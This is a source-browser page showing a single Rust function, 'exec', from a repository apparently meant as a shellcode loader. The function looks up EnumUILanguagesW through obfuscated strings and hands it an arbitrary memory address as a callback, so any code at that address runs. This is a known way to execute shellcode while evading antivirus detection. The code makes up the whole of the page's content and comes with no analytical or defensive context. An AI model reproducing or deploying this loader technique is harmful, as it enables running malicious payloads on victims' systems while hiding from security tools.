MCPcopy Create free account
hub / github.com/echQoQ/RustSL / exec

Function exec

src/exec/enum_ui.rs:1–12  ·  view source on GitHub ↗
(p: usize)

Source from the content-addressed store, hash-verified

1pub unsafe fn exec(p: usize) -> Result<(), String> {
2 use std::ffi::c_void;
3 use crate::utils::{load_library, get_proc_address};
4use obfstr::obfbytes;
5 use std::mem::transmute;
6 let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
7 let p_enum_uilanguages = get_proc_address(kernel32, obfbytes!(b"EnumUILanguagesW\0").as_slice())?;
8 type EnumUILanguagesFn = unsafe extern "system" fn(*mut c_void, u32, isize) -> i32;
9 let enum_uilanguages: EnumUILanguagesFn = transmute(p_enum_uilanguages);
10 enum_uilanguages(p as *mut c_void, 0, 0);
11 Ok(())
12}

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected